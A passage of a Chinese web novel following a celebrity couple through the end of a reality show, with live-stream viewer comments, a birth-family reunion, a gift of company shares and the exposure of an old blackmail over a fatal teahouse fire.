宁衣初轻哼了声:“你以后关我什么事,反正下了节目就离婚。” 贺适瑕莞尔:“那我先把碗筷端出去了。” 【详细说说啊,为什么会有这种决定啊(哀嚎)】 【知道他俩为什么结婚之后,我对阿宁想要离婚倒是不意外啦,主要还是惊讶居然这么快就要离吗,我还以为至少会维持一段时间的婚姻关系呢,而且贺哥居然就这么接受了这个结果?】 【不接受的话感觉追妻路会更加艰难……】 【最后这一期的飞行嘉宾们不是杂志主编就是主持人或者知名记者,可不可以采访问一问(求求了)】 宁衣初调理了一番,这天晚饭时间已经心如止水了,没再让贺适瑕把饭菜端进卧室,而是自己去厨房吃的。 走出卧室前,贺适瑕帮他理了理衣领:“嗯……节目组好像有给嘉宾们准备以防万一的衣物,要不我去问问有没有围巾?或者拿遮瑕涂一涂……” 宁衣初洗漱的时候照过镜子了,他颈间有吻痕,好几处都挺显眼,九月底这个天气的衣领根本遮不住。 现在听到贺适瑕“假惺惺”的马后炮,宁衣初推开他:“不如直接问问节目组有没有胶带,把你的嘴封住,这个可行性比较大。” 直播间里,看到宁衣初终于露面了,观众们很激动。再看到宁衣初颈间的吻痕,观众们更激动了—— 【贺影帝就这样吸老婆^o^】 【阿宁看来是破罐子破摔了,“只要我不尴尬,尴尬的就是别人”酱紫】 【阿宁不用尴尬,我们这些“别人”也不尴尬哈哈哈哈】 【说实话,我还是比较佩服贺适瑕的心态,宁衣初都花了半天才能若无其事地露面,贺适瑕好像直接跳过了“不好意思”这一环】 【贺哥:你们没追过老婆的人不懂,脸皮厚是基本技能】 【下注了下注了!猜猜今晚贺影帝还能不能继续睡床!】 【看阿宁的态度,我猜贺影帝得回地铺了】 【卧室里的镜头现在都还是挡着的,他们睡前肯定更不会取下遮挡了,要怎么知道贺适瑕睡在哪里啊?】 【这个简单,贺哥肯定会“得寸进尺”默认睡床,听阿宁有没有出声赶他就知道答案了哈哈哈哈】 果不其然,这天晚上睡前,贺适瑕故意没问,见宁衣初躺下了,他就关了灯,然后也默认往床边走。 “睡你的地板去。”宁衣初在贺适瑕坐下的瞬间,出声说道。 贺适瑕莞尔,试图争取:“我发誓我的手不会碰到你……” 宁衣初闭着眼:“你需要我说第二遍吗?” 贺适瑕只好遗憾作罢:“好吧,晚安,阿宁。” 【为你默哀,贺影帝】 【换个角度想,你老婆在跟你说话哎!乐观点!】 【那很乐观了哈哈哈哈】 第二天,宁衣初和贺适瑕就照常出门录节目了。 这也是整个节目的倒数第二天,明天傍晚所有嘉宾就将一起离岛、结束录制。 昨天早上最后一期的六个飞行嘉宾已经到了,但鉴于众所周知的原因,宁衣初和贺适瑕今早才跟他们打上照面。 而让节目组顿时提心吊胆、观众们也难以置信的是,“飞行嘉宾不信邪,非要一见面就挑衅宁衣初”的情景,似乎这个早上又要再现了—— 一见到宁衣初,飞行嘉宾里的国际时尚杂志主编文慎,就直勾勾地打量着他。 贺适瑕皱眉,回忆了下上辈子在节目上的情景,当时文慎并没有这么诡异的表现……一边回忆,贺适瑕一边站到宁衣初身前,挡住了文慎的目光:“有话直说。” 文慎笑了笑:“别误会,我没有敌意,也没有别的意思,只是觉得……宁老师跟我姐姐长得有点像,我姐姐也曾遗失过一个孩子,听说宁老师小时候在福利院长大,且随身有一枚刻着‘阿宁’的玉坠?不知道方不方便看看那枚玉坠,以及问问宁老师的生日?” 在周遭人的惊讶中,宁衣初表情平静。 贺适瑕这才反应过来,刚才文慎直勾勾打量宁衣初的眼神里,确实有几分莫名其妙的慈爱,倒谈不上心怀不轨。 而且,这辈子刚重生时,宁衣初曾跟他说过前世他们孩子的下场,当时宁衣初有提到他亲生父母那边,的确还有个血缘关系上的舅舅…… 第52章 第 52 章 “以后康宁就是你的了。…… 文慎这番话说得挺突然, 但意思很明显,观众们听了忍不住议论纷纷—— 【啊?什么意思,认亲吗?】 【那有点草率了吧】 【我也觉得这个场合是不是不太合适啊, 感觉好像不够严肃谨慎】 【如果真的是遗失了二十多年的孩子, 迫不及待可以理解, 但真要迫不及待也该更早一点吧,毕竟宁衣初的身世在节目开始那几天就说过了, 这都节目要结束了,感觉像是正好碰到所以问问似的……】 【但之前宁衣初也在录节目, 他们也没办法找他吧】 【至少可以提前了解下宁衣初的生日, 而不是这个时候才问啊】 【是的,感觉迫不及待也没那么迫不及待, 说沉得住气吧他又等不急多近距离观察两天,等明晚节目结束再问, 现在问了要宁衣初怎么回答?】 【真的假的啊, 这么巧的吗?】 【如果文慎的姐姐真的就是阿宁的生母,那确实有点太巧了吧,正好在节目上遇到】 【我看阿宁好像一点都不惊讶或者激动哎,他难道连这件事都早就知道?】 【那真神了阿宁】 【不论如何其实都可以说明宁衣初似乎并不在意亲生父母相关的事吧, 不然他不会这么淡定, 好像事不关己】 【文慎在时尚圈蛮有名的, 他担任主编的那个杂志一直是如果上了封面、哪怕只是内封都会被粉丝狠狠吹一通的, 属于特别好的资源,据说文慎这个主编特别有人脉, 总之应该是家世还不错的,这样的人家真的会丢了一个孩子二十多年都找不到吗?】 【而且还有玉坠这么明显的线索……】 【连宁家那不上心的养父母都能找到阿宁,如果文慎的姐姐真的是阿宁生母……他们一家真的有用心找过吗?】 【之前好像有营销号扒过, 文慎他家基业是在国外的,不是国内,可能是因为这个所以在国内不好找人?】 【那就更好笑了,孩子丢了结果这么多年都没往国内发展?】 【都是猜啦,说不定文慎家跟宁衣初压根没关系】 【我还是比较在意贺适瑕受伤的嘴唇和宁衣初脖子上的吻痕^_^】 见宁衣初反应平平,文慎顿了顿,放缓了声音补充解释道:“不好意思,我这话说得太唐突了,但我真的没有恶意,我姐姐姐夫本来说不要着急,至少等下了节目再说,在节目上提这种话题会让你为难,但很抱歉我刚才没忍住盯着你看,既然被注意到了不说清原因更担心被误会,所以……方便看看你的玉坠吗?” 他现在这番话的态度比刚才好一点,但宁衣初还是兴致缺缺:“丢掉了。” 文慎愣了下:“丢掉了?怎么会……那个玉坠不是和你的身世有关吗,为什么会把它丢掉呢?” 宁衣初挑了下眉:“保留一个看着只会扫兴的东西做什么,清明时节拿出来祭拜吗?” 文慎脸色顿时有些不好看了:“你……怎么可以这样说呢?你是在怨你父母弄丢了你吗?可他们也不是故意的,这些年也一直在寻找你……” “首先,你的姐姐未必和我有关系。其次,就算有,你也没资格端出长辈架子教育我。”宁衣初打断道,“最后,这并不是一档寻亲节目,我对此也不感兴趣,劳驾闭嘴。” 文慎挺看重形象,被宁衣初这么不留情面地回绝后,他接下来一天多的时间里都没再提这件事。 倒是其他几个飞行嘉宾里,有个知名栏目的主持人樊璇,趁着休息时间“采访”过他们几个常驻嘉宾。 “任老师和秦老师要离婚了,不少网友都觉得挺遗憾的,实不相瞒我也是,我十来岁的时候就是看着两位的电视剧长大的……现在节目也要结束了,方便告诉观众一下你们离婚的原因吗?”樊璇先问了任世和秦暮云。 这有“国民夫妻”之称的两人,对这个问题倒也没有变脸,还是一如既往和气的样子,心境平和地回答:“没什么特别原因,就是突然意识到好像比起夫妻,我们之间更像是朋友,甚至算不上特别亲密的朋友了。” “是啊,也没吵架,就是渐渐淡了。年轻时候的回忆还是挺美好的,我们俩都不想勉强维系下去,要是真走到两看相厌那一步,不是又彼此耽误,又更加遗憾吗。” 任世和秦暮云离婚的原因,也和他们俩的性格一样,平静随和。 樊璇便继续表达了遗憾和祝福,然后话锋一转,笑着问起贺适瑕和宁衣初:“网传贺老师和宁老师下了节目后也准备离婚了,我想观众们应该都挺好奇的,不知道能不能分享一下这么快离婚的原因呢?” 贺适瑕和宁衣初还没说话,任世和秦暮云先惊讶了一下:“你们俩也要离婚了?” 虽然节目组没有收手机,但节目录制期间,任世和秦暮云都没怎么看过手机,他们各自的经纪人也不会因为这种跟他们扯不上关系的事特意联系他们,所以两人还是现在才知道这个“网传”的消息。 宁衣初笑了下,点了点头。 贺适瑕轻啧了声,对樊璇说:“你这个采访提问的方式,就很有问题,为什么是问我们‘这么快’离婚的原因,而不单纯是离婚的原因呢,观众们都觉得我们走到离婚那一步很正常吗?” 宁衣初歪了下头:“显然的确很正常。” 樊璇客气而含蓄地一笑。 不过不论是贺适瑕还是宁衣初,到底都没有对这个问题作出正面直接的回答。 观众们只能从他们的态度中再度确认离婚这个打算属实,于是心碎了一地。 转瞬来到了最后一天,节目组最后一项策划录制到了下午三点,接着导演总结陈词、宣布了节目结束。 然后,嘉宾们可以各自回住的地方收拾行李了,收拾好了就把行李箱放在住处即可,稍后节目组的工作人员会统一搬运带上,和来时一样,等到渡轮返程靠岸,再把行李交还给嘉宾们,免得他们还要自己拖着行李去港口。 因为只是收拾行李,不像晚上回来是打算睡觉的,所以虽然待在卧室,但宁衣初和贺适瑕谁都没有特意去遮挡镜头。 宁衣初懒得动,就坐在床边看着贺适瑕帮他的东西一起收拾。 【你俩要不现在亲一个吧,还没看到过你们在卧室里亲密交流()】 【只听到过对吧嘿嘿】 【咦,贺哥手里拿的盒子是装什么的?】 【突然想起来贺适瑕刚开始说过他带了点不方便见人的东西来着,但看他现在收拾行李,好像也没看到,会不会就是在这个盒子里啊?】 【打开给我们看看嘛!】 【啧,难道是某些十八以下不宜的床上用品?】 【但是前天晚上没听到他们拿东西哎?】 【而且他们原本应该没打算在节目上公然嗯哼吧……到底带了什么见不得人的东西啊啊,好奇死我了】 可惜,贺适瑕当然不可能当众打开盒子,他直接把盒子塞进了行李箱里。 等贺适瑕收拾完了两人的行李,宁衣初才起身,两个人一起慢悠悠出门,往港口的方向走去。 回程在海上的航行时间也差不多是两个小时,这次节目组没再安排游戏环节,而是直接把嘉宾们带到了渡轮上的餐厅层,让他们在这里享用节目期间最后一顿晚餐。 期间,消停了一天多点的文慎几度想要跟宁衣初交谈,宁衣初懒得理,直接忽视了,后面文慎再开口,贺适瑕就帮宁衣初堵回去了。 两个小时过后,渡轮靠岸,停在了他们来时的那个港口,嘉宾们一边下渡轮一边最后对镜头告别,本次节目录制到此彻底结束了。 贺适瑕之前开来的车,当时是让节目组的工作人员帮忙停靠的,这会儿工作人员也已经把车给开了过来,见贺适瑕走近,便递回了泊车用的备用钥匙:“贺老师,您和宁老师的行李箱,我们也已经放在车后备箱里了,你们检查核验一下吧,避免我们这边有疏漏。” “好,多谢。”贺适瑕先打开了车门,让宁衣初能上车休息,然后才去看车后备箱。 检查确认无误,贺适瑕正打算上车,因为拿行李落后了一步的文慎就又过来了。 “我知道,阿宁现在……”文慎开口。 还没说完,就被坐在副驾驶座、降下车窗的宁衣初和刚打开驾驶座车门、还没坐进去的贺适瑕同时打断了。 宁衣初:“谁允许你这样叫我了?” 贺适瑕:“这个称呼不是你可以喊的。” 文慎愣了愣,然后轻声说:“好,我先不这么叫……我知道你们都很烦我,但事关身世的话,总要有个结果的,对吧?我姐姐姐夫今天刚从国外回来,已经下飞机了,如果可以的话,你们跟我一起去见见他们,行吗?” 宁衣初嗤笑了声。 贺适瑕冷声代为答复:“文先生的语气虽然客气,但这话说得并不礼貌,如果你们一家想要见阿宁,那麻烦主动上门。让阿宁去见你们?真摆上长辈的架子了,不知道的还以为当年是阿宁遗弃了你们。” 文慎正想回答,贺适瑕已经上车、关上车门,然后一气呵成地驶离了。 风吹进了车里,宁衣初正打算关上副驾驶座这边的车窗,就见车窗自己慢慢往上升了,是贺适瑕那边在驾驶室操控台上控制的。 宁衣初收回手,看着前方的路,开口道:“你好像已经确定了文慎的确是我血缘关系上的舅舅。” 贺适瑕笑了下,温声说:“看你的反应猜到的。要是这点都看不出来,我连这辈子都不好意思说喜欢你了……不过我还是猜不到,你当年被遗弃在福利院门口的真相。” “看文慎的出身,不像是家里养不起又或是没能力寻找的,而且他们现在这么理直气壮想要认回你,好像是觉得当年的事不该怪他们、你知道了来龙去脉一定会选择回到他们身边似的,我不太喜欢这种看似是冷静实则是冷淡的‘认亲’。” 宁衣初微微耸肩:“关于这一点,我其实也不知道答案。” 原书剧情里没提,就像说真少爷小时候走丢是被恶人偷走了一样,对假少爷的身世也是“刚出生时意外遗失了”简单一句带过,连偷走真少爷的恶人是怎么回事都没详细解释,自然更不会深入说明假少爷的情况了。 “不过,我猜我的养父母他们或许是知道真相的,回头可以诈一下。”宁衣初接着道。 贺适瑕颔首:“今天回去之后先休息休息吧。距离原定的手术时间还有一个星期,你是想在手术之前把这些事解决掉,还是手术之后再说?” 宁衣初理所当然道:“早点解决了清静。” 但宁衣初也没着急到打算今天一个晚上都不休息,毕竟刚录完十五天的节目,虽然节目上他也没多累,但还是想先放空一晚的,可没想到其他人真是见不得他清闲一刻,这个晚上到底还是挺忙碌—— 一回到贺家,贺适瑕的父母贺维安和唐青山就在楼下大厅等他们了。 “适瑕,小初,回来了,先过来一下。”唐青山叫他们,“你们妈她有份文件要给小初。” 宁衣初挑了下眉。 贺维安直言道:“是康宁的股份。” 这宁衣初就有兴趣了,便走了过去,贺适瑕自然跟在他身边。 看到贺适瑕这亦步亦趋的模样,还有贺适瑕嘴上残留的一小块异样,以及宁衣初脖颈上露出来的、仍然轻微可查的痕迹,贺维安就觉得头疼,很想问问他俩是真觉得在这个世界上不认识其他人了吗…… 但头疼过后,贺维安还是把话咽了下去,只对坐下的宁衣初说道:“之前宁家出了事,我趁火打劫了下,买下了顾家和许家手里的康宁股份。” “你应该也知道,康宁因为祖上经营的缘故,董事会里除了他们自己之外,我们贺家、顾家和许家也占了不少股份,此外还有个陈家。陈家占股少,我本来想一起买下,但陈家有子孙结婚要分点家产的传统,康宁的股份当时分给了陈与,而陈与一副死活不会松口的架势,我本来没打算强人所难。” “但接着陈与暗恋宁则书那事儿被你拆穿了,他想向杜书证明他真的对宁则书没有想法了,连忙问我还要不要康宁的股份。所以,如今康宁的董事会就只有我们贺家和他们宁家的人了。” “我手里有百分之二十九的股份,加上归董事会其他成员集体管理的百分之五——现在就剩我一人了,所以虽然这部分股份名在宁绍仁手里,但实则管理权在我。” “而据我所知,宁绍仁打算把这百分之五的股份以你和适瑕结婚了的理由,从董事会要走给你,我作为管理者也已经在相关文件上签字认可了,按文件上规定的时间,宁绍仁应该最迟后天就会把股份给你。” 铺垫了这么多前情,贺维安终于说到了重点:“所以,我把我手里百分之二十九的康宁股份给你之后,你就有百分之三十四,而宁家其他人全部也就能凑出百分之三十四,以后康宁就是你的了。” 这倒是让宁衣初十分意外了。 他提醒了下贺维安:“我跟贺适瑕要离婚了。” 贺适瑕无奈笑笑:“阿宁,可以先把股份拿到手再说的。” 贺维安恨铁不成钢地扫了贺适瑕一眼,然后继续对宁衣初道:“你们之间的事我不管,爱离不离,你肚子里的孩子,我也做不了主,你不想要就不生。我把康宁的股份给你,你怎么理解都行,总之不是为了要求你什么,顶多算是我作为贺家家主代表贺家对你的补偿。” “我承认之前对你误会颇多,在明知道你和适瑕出意外那晚的真相另有蹊跷的情况下仍然选择了和宁家一起指责你,也纵容了贺定邦他们还在贺家时对你的奚落。我也承认,如果不是因为你这段时间大刀阔斧弄出来的这些事,我不会说刚才这番话、也不会想着什么补偿你。” “但不论如何,如今贺定邦他们已经离开了贺家,适瑕祖母也把她手里剩下的贺氏股份给你了,适瑕手里的东西如果他没有藏私的话应该也是全都给你了,再加上我给你这百分之三十四的康宁股份……” 宁衣初明白过来,了然道:“你因为宁家人的下场心生忌惮,希望我看在这些补偿的诚意上,不要再针对贺家,想要折腾就到康宁折腾去,对吗?” 贺维安叹了声:“是。可以吗?” 宁衣初一笑:“好啊,反正你们只是对我说了些难听的话而已,换来现在这么多实打实的股份,以及你们日后对我的忌惮,还是挺值的。” 贺维安觉得他这话实在不客气,但欲言又止过后还是放弃了开口,只示意唐青山把准备好的协议拿给宁衣初。 “我和律师已经签字了,但落款日期是三天后,因为要避免和宁绍仁即将给你的那百分之五股份上我作为股东的签字情况冲突,正好这三天里你可以慢慢看条款,确认没有问题再签。一式三份你都拿去,签好了把其中两份还给我就行。”贺维安补充道。 宁衣初接过来,看了一眼,然后递到了贺适瑕手里:“你帮我看。” 贺适瑕愣了下,然后莞尔道:“我就说你如今是信我的。” 宁衣初蹙眉:“让你过第一遍,我签字之前自己还会再看一遍的。” 贺适瑕颔首,温声道:“好。” 贺维安觉得没眼看,打算起身:“那就这样吧。” “等等,先告知一下,之后如雪姐的生母可能会到贺家来闹她。”宁衣初十分有契约精神地提醒,“这件事是回来之前我就让贺适瑕去安排了,现在改不太合适,所以还是让它完成吧。” 贺维安皱眉:“小初……” 宁衣初:“作为‘补偿’,我可以告诉你们另外一件事。先问一下,你们之前答应宁家促成贺适瑕和宁则书联姻,是因为宁家那边有你们什么把柄吗?” 贺维安和唐青山脸色变了变。 贺维安看向大厅里其他佣人,吩咐道:“你们先出去。” 佣人们刚开始陆续往外走,管家就走了进来,对贺维安道:“小姐,宁家那边又来人了,这次不止宁绍仁宁总和他夫人韩太太,还有他们的两个儿子也一起来了。” “宁总说是知道小初少爷今天回来了,想要见他,还说如果小初少爷不愿意见他们,就说是和答应给他的那百分之五康宁股份有关,他们把合同带来了。” 宁衣初觉得挺有意思:“今天晚上怎么都这么迫不及待给我送东西,康宁的股份已经这么烫手了吗?” 贺维安无奈摇头:“虽然已经有风声说康宁的部分商业机密被陆溪临走前泄漏给了竞争对手,但瘦死的骆驼比马大,康宁如今也还没到瘦死的地步。” “我借着宁家人近期接连出状况,以及和顾许陈三家交接股份的由头也把康宁的业务梳理过了一遍,放心吧,没什么作奸犯科的隐患,毕竟康宁之前董事会盯得紧,宁绍仁能做的顶多就是因为他太废物所以导致康宁发展滞后。你要是之后不想折腾康宁,它就还挺得下去。” “至于宁家人现在过来,应该是怕耽误了时间,让你觉得没诚意,你在这个间隙里又做点什么,毕竟他们似乎觉得陆溪泄漏商业机密后跑路这件事也是你做的,只是苦于没有证据所以只能吃瘪忍了。” 宁衣初莞尔:“这样啊,谢谢妈给我解惑。” 这声“妈”叫得,贺维安觉得答应也不是,不答应也不是:“……你见他们吗?” “见啊,上赶着给我送好东西,哪有不要的道理。”宁衣初悠悠道,“贺适瑕,妈给我的合同先收着,免得待会儿被我的养父母们看到了横生枝节,他们可未必乐意看到我成了康宁的大股东。然后你联系一下文慎那边,不是想见我吗,今晚都来贺家聚一聚吧,把事情都一起解决了。” 听到“来贺家聚一聚”,贺维安就想起了之前的宴会,一时差点犯了ptsd,好不容易给忍住了。 虽然贺适瑕这会儿没有文慎的联系方式,但既然宁衣初要求了,贺适瑕便先应了下来,然后一个联系方式而已,不难办到。 但,就在贺适瑕准备去联系文慎、管家准备通知门房那边放宁家人的车进来时,门房那边又传来了新消息。 管家听完了,表情复杂地转述:“有三位陌生来客,开车的人自称文慎,想要拜访小初少爷。” 闻言,宁衣初好整以暇:“倒是给贺适瑕省事了。都放进来。” 第53章 第 53 章 “你就是我们的孩子………… 宁家人有关注节目动向, 自然也知道文慎在节目上那“认亲”的行为,但这个晚上会这么巧在贺家碰上,宁绍仁几人还是都挺意外的。 文慎三人下车后看到宁家人, 也认了出来, 于是态度比较冷漠。 就这么被管家迎进室内, 和文慎同行的夫妇一看到宁衣初,便率先开了口, 喊道:“阿宁……” 宁衣初轻啧了声:“文慎没告诉你们我不喜欢别人这样叫吗?” 夫妇俩都顿了顿,然后文慎上前两步, 安抚了他们先别着急, 然后叹了声气说:“就算不论可能存在的血缘关系,我们好歹从年龄上来说也算是你的长辈那一辈的, 哪怕不待见,也没必要这么不客气吧?” 文慎的姐姐姐夫都四十九五十岁了, 文慎和他姐姐年龄差距大一点、今年刚三十五岁, 但和还没满二十三岁的宁衣初相比,确实年长十几岁也是长辈的辈分了。 宁衣初嗤笑了声:“这就算不客气了?你们可真娇贵。” 文慎的姐姐姐夫听到这话,表情显得又些难过。 贺适瑕也开口道:“而且你这话说得奇怪,既然都不待见了, 为什么还要客气, 不矛盾吗?” 贺维安看着这么多人就觉得头疼:“都停一停——李管家, 不用特意上茶水了, 你带佣人们都先出去,不要再让人进来。至于来客们, 先坐下吧,慢慢说,说之前, 劳驾先自我介绍。” 李管家应了一声,带着大厅内剩下的佣人出去了。 宁家的四人和文慎三人互相看看,走到沙发边坐下来——得亏贺家这大厅宽敞,沙发也就不好太局促、不然未免不和谐,如今空间够七个人隔开社交距离各坐各的,不至于挤在一起,那场面就有点滑稽了。 宁衣初看着他们坐下,一想到原书剧情里的主角宁则书,和宁则书他“命定”的伴侣文慎都在这里,但两人这会儿还是陌生人、相见不相识,宁衣初就莫名觉得挺好玩的。 坐下后,文慎正要接着开口,宁衣初打断了他,先问了宁绍仁:“不是说股份合同带来了吗,先把这件事处理了吧,合同呢?” 宁绍仁虽然忌惮他,但听他这语气还是忍不住不满:“我们好歹是你养父母,我们来了,没听你叫人,一开口就要合同,真是养了个……” “白眼狼。”宁衣初听这话都听出茧子了,“能有点新鲜的说辞吗,你也想和文慎一样跟我争论一下什么叫对长辈的态度?说真的,都是一家之主,你真的该跟贺适瑕他妈学一下什么叫‘诚意’,既然你们已经想要对我服软,那就麻烦态度好一点,骂骂咧咧的服软只会什么好都讨不着……难怪都说宁家这代当家的废物呢。” 宁绍仁差点被哽得脑出血:“你……!” 要不事利益相关,贺维安现在也是真不想继续听下去了,她表情复杂地幽幽一叹。 文慎的姐姐忍不住开口,看着宁绍仁他们:“你们平时就这么对待阿……衣初的?难怪他如今养成了这么富有攻击性的性格,分明是为了自保给逼出来的,你们怎么好意思还对他大呼小叫!” 宁绍仁本来是个挺听不得别人对他指指点点的性格,但被文慎他姐这么一通质问,他居然只是表情不满地别开了头,没有反呛回去。 这么反常,连打定主意今晚只看不说话掺和的宁则棋和宁则书都忍不住多看了他们爸一眼。 此时,宁衣初慢条斯理对文慎他姐道:“你们没名没份,不知道有没有血缘关系,就算有也没养过我,不也好意思对我大呼小叫的吗,就别这么惺惺作态了,很耽误我的正事。” 文慎的姐姐、宁衣初血缘关系上的生母,听到这话顿时又愣住了,然后眼眶泛红起来:“孩子……” 文慎连忙安慰他姐,宁衣初血缘关系上的生父神情复杂地说:“当年弄丢了你,这么多年都没找到,如今才来确实迟了,但我们真的不是故意的,孩子你又何必这么有敌意呢,你听我们跟你慢慢解释……” “那就先慢着吧。”宁衣初说,任由他们是什么表情,都不影响他一件事一件事来的打算,他继续提醒宁绍仁,“合同,不想给的话可以现在就走。” 宁绍仁咬了咬牙,不爽地从鼻腔里发出哼声,但同时也从带来的公文包里取出了合同,放到茶几上时力道不轻。 韩文华、宁则棋和宁则书看着他拿出合同,未置一言。 贺适瑕起身,帮忙把合同拿了过来。 虽然宁绍仁生意头脑不怎么样,但这合同需要一式三份、内附董事会成员的签字同意书,宁绍仁还是知道的,也没打算故意再拖延,所以这会儿是直接拿出了一式三份,和刚才贺维安的做法差不多。 宁绍仁说的话也差不多:“就差你的签字了,你看完之后签了字,把其中两份还给我。” 见贺适瑕把合同拿到宁衣初身边了,刚才没开口的韩文华才企图唱红脸,语气和蔼地开口:“小初啊,你爸他就是这么个臭脾气,这么多年你也是知道的,但不论如何这合同是实实在在的,对吧。爸妈过去对你确实多有疏忽……” 见宁衣初面露讥讽,韩文华顿了顿,改口道:“是,不止是疏忽,是对你很不好。但就看在我们有心认错弥补的份上,以后我们还是好好做一家人,好吗?现在宁家其他人都罪有应得,下场都不大好,就算还在外面能自由活动也总是心里不安,你也算是出气了,以后你就和你爸,还有则棋则书这两个哥哥一起,好好把康宁经营下去……” 宁衣初始终不回应,表情还是那么倒是从讥讽逐渐变成了戏谑,让韩文华试图温情脉脉一番的话说不下去了,于是就这么勉强停了下来。 宁衣初没回答她,转而看向文慎他姐姐姐夫:“自我介绍一下?” 文慎代为开口:“这是我姐姐,她叫文瑾,我姐夫叫宣络。贺家的地址是我们辗转托了从前在国内认识的人知道的,他们今天刚回到国内,还没来得及休息就赶过来了……” 宁衣初打断道:“你们看起来也不缺国际航班头等舱的钱,就别在这里喊坐了十几个小时飞机很累这种卖惨都卖不到要点的话了。我上楼放点东西再拿点东西,你们可以先聊着,反正你们大家应该都挺有话聊的。” 然后他站起身,示意贺适瑕拿上所有合同,跟着他一起先上楼了。 贺适瑕对“宁衣初叫他一起行动”这件事感到十分愉悦,这么自然的、下意识的举动,也意味着宁衣初如今愿意把他当成一伙的了,怎么不叫人心满意足呢? 贺维安对宁衣初这说走就走、把一群人丢在楼下的做法适应良好,唐青山在她身边向来是比较寡言的,这会儿也没什么反应。 而剩下的人里,也就宁则棋和宁则书情绪比较稳定了。 宁绍仁和韩文华习惯了宁衣初过去那“安分沉默”的模样,如今虽然知道他没那么好性子,但毕竟过去的印象更为深刻,以至于这会儿被糊到脸上了,还是有点接受不了这亲眼所见的变化。 而文慎他们,来之前对宁衣初更多事怜爱,还抱着这孩子看到亲生父母或许即便最开始嘴硬倔强,但很快也会投入他们怀抱的期待。现在被这冷冰冰的现实浇了一头,还被晾在这里了,文瑾和宣络夫妻俩都挺发闷的。 宁衣初说他们剩下这些人应该都挺有话聊,然而压根没人率先开口,直到宁衣初和贺适瑕重新回到楼下,这期间也没谁吭了声。 宁衣初和贺适瑕上楼把合同放好了,下楼的时候宁衣初顺便去衣帽间拿上了那枚玉坠,一回到楼下,就丢到了茶几上,对文瑾和宣络说:“你们在找的那枚玉坠。” 文瑾、文慎和宣络三人都是一愣,然后文瑾上手拿起了玉坠,接着和凑近来看的宣络一起,几乎要喜极而泣:“对,就是这枚玉坠……” “你就是我们的孩子……” 文慎有些意外这枚玉坠还在:“你不是说已经扔了吗?” 宁衣初挑眉:“我还说让你们别这么自作主张套近乎,这话怎么没见你们信?好好的玉坠扔了它干嘛,好歹是真玉,万一哪天吃不上饭了还能换钱呢。” “吃不上饭”这几个字,让文瑾再度回想起了所知的宁衣初过去在宁家的待遇,更加心如刀绞、说不出话来。 宣络也沉默了下,然后再次开口:“孩子,所以我们就是你亲生父母这件事,你其实也早就知道了?这着实让我意外,但不论如何,你知道了却不找我们、如今又是这个态度,那说明你对我们一定有误会,你听我们跟你解释当年的情况好吗……” “我现在把玉坠给你们看,就是为了让你们有时间先收拾一下情绪,免得待会儿说到和你们有关的事时你们还忙着激动。”宁衣初拒绝道,“但我可没打算把你们的事放在最前面处理。” 说着,他倚在沙发靠背上看向贺维安和唐青山:“刚才在说的话题被他们的突然到来打断了,现在继续吧。” 宁衣初这十分有安排、规划好了一件事一件事处理的状态,要是放在工作环境遇上了,贺维安还是会挺欣赏他的,但现在她只想打断:“小初,如雪的生母会来打扰这件事,如果是你之前就安排好了的,那我也不说什么了,你可以按你原定的计划把这件事做完,但适瑕他爸的事,是不是就没必要了呢?” 宁衣初莞尔:“妈,别这么担心,你忘了吗,我说了的,我提这件事是作为如雪姐那事儿的‘补偿’。” 终于听到了宁衣初喊“妈”,但偏偏喊的不是自己,文瑾这个生母心情复杂,韩文华这个养母也有点如坐针毡……虽然她过去也没觉得和宁衣初之间有什么母子情吧。 唐青山有点忍不住想要开口,贺维安看了他一眼,多年的默契让唐青山明白这是制止的意思,所以他到底没开口说什么。 贺维安也没再阻拦宁衣初,还是那句话,不知道为什么,如今宁衣初说的话,抛开故意阴阳怪气说反话的情况,那她基本都相信宁衣初是在说实话。 眼下听着,她不觉得宁衣初在阴阳怪气。 而宁绍仁和韩文华看到唐青山有反应,这才回过神意识到刚才宁衣初说这件事事关唐青山,而能让贺维安和唐青山都第一反应想要阻止宁衣初说出来的事……宁绍仁和韩文华脸色齐变。 这下换他们想要阻止了,但宁绍仁才刚开口,宁衣初已经懒得听他要说什么,径直道:“所以,之前你们愿意和宁家合作促成贺适瑕和宁则书的婚约,的确是因为宁家人——特指宁绍仁和韩文华——他们用贺适瑕他爸以前的茶室发生过的火灾这个秘密来作为要挟?” 宁绍仁差点闪了舌头。 宁衣初原本只知道火灾这件事,但并不知道宁绍仁他们居然还拿这件事来威胁过贺维安和唐青山,且威胁成功过一段时间,直到这会儿看到相关人员的反应,才确定了。 而听到“茶室”和“火灾”这两个关键词,刚才一直情绪还算稳定的宁则棋突然目光一沉。 贺维安和唐青山没说话,韩文华还是试图打断:“小初啊……” “你们被骗啦,茶室那次的火灾不是贺适瑕他爸喝醉后打翻了烛台造成的,而是当时十八岁的宁则棋学抽烟,在等他爸的时间里悄悄抽了一根,抽到一半他爸叫他走,他不想被发现抽烟的事所以把没灭的烟头随手藏到了榻榻米下引发的。”宁衣初一气呵成地说道。 在贺家和宁家人的脸色变幻中,宁衣初接着说完:“那次火灾造成了茶室巨大的经济损失,更重要的是还有两个服务生没被救出来丧了命。” “宁则棋意识到问题可能在他后,觉得这件事自己处理不了,所以把真相告诉了他的父母,也就是我的养父母你们,而你们的做法是把锅推给了当时喝醉了、确实曾打翻过烛台的唐青山,你们还给他看了那时房间里的监控,但没给他看烛台被打翻后其实马上被门外路过的服务生发现、处理好了的后续。” “正好那个服务生也是火灾受害丧生者之一,没有人会告诉唐青山真相。他还要感谢你们帮他保守这个秘密,没有让他这个‘纵火者’因为纵火、意外致人死亡去坐牢。” ——十七年前,那会儿宁绍仁还没接手康宁,宁家和贺家的来往也比如今多一点,宁绍仁和入赘贺家的唐青山甚至兄弟相称过几年,还一起开过一间茶室。 所以宁绍仁和宁则棋那时候才会刚好在茶室,所以宁绍仁才能处理好监控的事,也能瞒天过海让反正喝醉了的唐青山相信火是因他而起。 原书剧情里,多年后两家闹掰,这个真相才在各种因素促成下浮现出来,但那时候不论是宁衣初还是贺适瑕都已经不在人世了,剧情也赶着让贺家下线似的,反正没提这件事还被用在两家联姻这件事里过。 ——更有可能是原书剧情里压根没想这么多,这件事也是原书诸多bug和疏漏之一,而这个书中世界在运转最初补充上了这些漏洞,不然不论是人设还是事情的内在逻辑都运行不下去。 总而言之,这辈子重来之初,宁衣初也没想到宁绍仁他们居然这么有“胆识”,而贺维安居然也能被这种事威胁到…… 不过如今想想,宁家人自己不占理但能厚颜无耻把事情拿出来反当作别人的把柄、从而为自身谋利这种事,放在宁家人身上的确不稀奇。 